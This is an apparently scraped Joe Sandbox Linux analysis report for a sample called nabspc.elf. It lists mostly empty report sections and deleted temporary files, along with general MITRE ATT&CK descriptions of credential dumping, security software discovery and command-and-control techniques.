Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.14uh7z (deleted)

/tmp/qemu-open.1i1gqx (deleted)

/tmp/qemu-open.2nIX1w (deleted)

/tmp/qemu-open.31c86z (deleted)

/tmp/qemu-open.3dCsCy (deleted)

/tmp/qemu-open.7gvV0v (deleted)

/tmp/qemu-open.9FYQ9z (deleted)

/tmp/qemu-open.9jYS9v (deleted)

/tmp/qemu-open.A1MAMy (deleted)

/tmp/qemu-open.AtIiEy (deleted)

/tmp/qemu-open.AzPriw (deleted)

/tmp/qemu-open.B21Yfw (deleted)

/tmp/qemu-open.BThAXv (deleted)

/tmp/qemu-open.BuG7tz (deleted)

/tmp/qemu-open.Bv37cy (deleted)

/tmp/qemu-open.BvrSuy (deleted)

/tmp/qemu-open.Cxb1cx (deleted)

/tmp/qemu-open.ETlVqx (deleted)

/tmp/qemu-open.EUf2Ww (deleted)

/tmp/qemu-open.G1qgAy (deleted)

/tmp/qemu-open.HdgH9v (deleted)

/tmp/qemu-open.IIirPy (deleted)

/tmp/qemu-open.KpkWqz (deleted)

/tmp/qemu-open.L3Lv8x (deleted)

/tmp/qemu-open.MMR8Ex (deleted)

/tmp/qemu-open.N3WAFz (deleted)

/tmp/qemu-open.NgGTDz (deleted)

/tmp/qemu-open.NzEVww (deleted)

/tmp/qemu-open.OLRtMz (deleted)

/tmp/qemu-open.RsApnA (deleted)

/tmp/qemu-open.SGgoUy (deleted)

/tmp/qemu-open.SigjVz (deleted)

/tmp/qemu-open.UX74Dw (deleted)

Linux Analysis Report
nabspc.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre